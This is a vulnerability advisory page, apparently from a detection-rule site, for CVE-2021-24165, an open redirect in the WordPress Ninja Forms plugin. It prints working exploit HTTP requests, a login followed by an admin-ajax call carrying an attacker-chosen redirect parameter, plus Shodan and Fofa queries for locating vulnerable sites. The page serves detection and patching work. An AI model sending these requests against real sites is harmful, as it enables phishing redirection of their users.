🔙 목록으로 돌아가기

CVE-2021-24165: WordPress Ninja Forms <3.4.34 - Open Redirect

TitleWordPress Ninja Forms <3.4.34 - Open Redirect
AuthordhiyaneshDk,daffainfo
SeverityMedium
ImpactAn attacker can exploit this vulnerability to redirect users to malicious websites, leading to phishing attacks or the installation of malware.
RemediationUpdate to the latest version of the Ninja Forms plugin (3.4.34 or higher) to fix the open redirect vulnerability.
CVSS Score6.1
EPSS Score0.01173
CVE IDCVE-2021-24165
CWE IDCWE-601
Shodan Queryhttp.html:/wp-content/plugins/ninja-forms/
Fofa Querybody=/wp-content/plugins/ninja-forms/
Tags cve2021 cve wordpress redirect wp-plugin authenticated wp wpscan ninjaforms vuln

🔍 Vulnerability Description

WordPress Ninja Forms plugin before 3.4.34 contains an open redirect vulnerability via the wp_ajax_nf_oauth_connect AJAX action, due to the use of a user-supplied redirect parameter and no protection in place. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.

🌐 HTTP Request

POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Debian; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Connection: close
Content-Length: 51
Content-Type: application/x-www-form-urlencoded
Cookie: wordpress_test_cookie=WP%20Cookie%20check
Origin: /
Accept-Encoding: gzip

log=xIaAe4&pwd=QmH8JA&wp-submit=Log+In&testcookie=1
GET /wp-admin/admin-ajax.php?client_id=1&redirect=https://interact.sh&action=nf_oauth_connect HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (CentOS; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-24165.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-24165.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A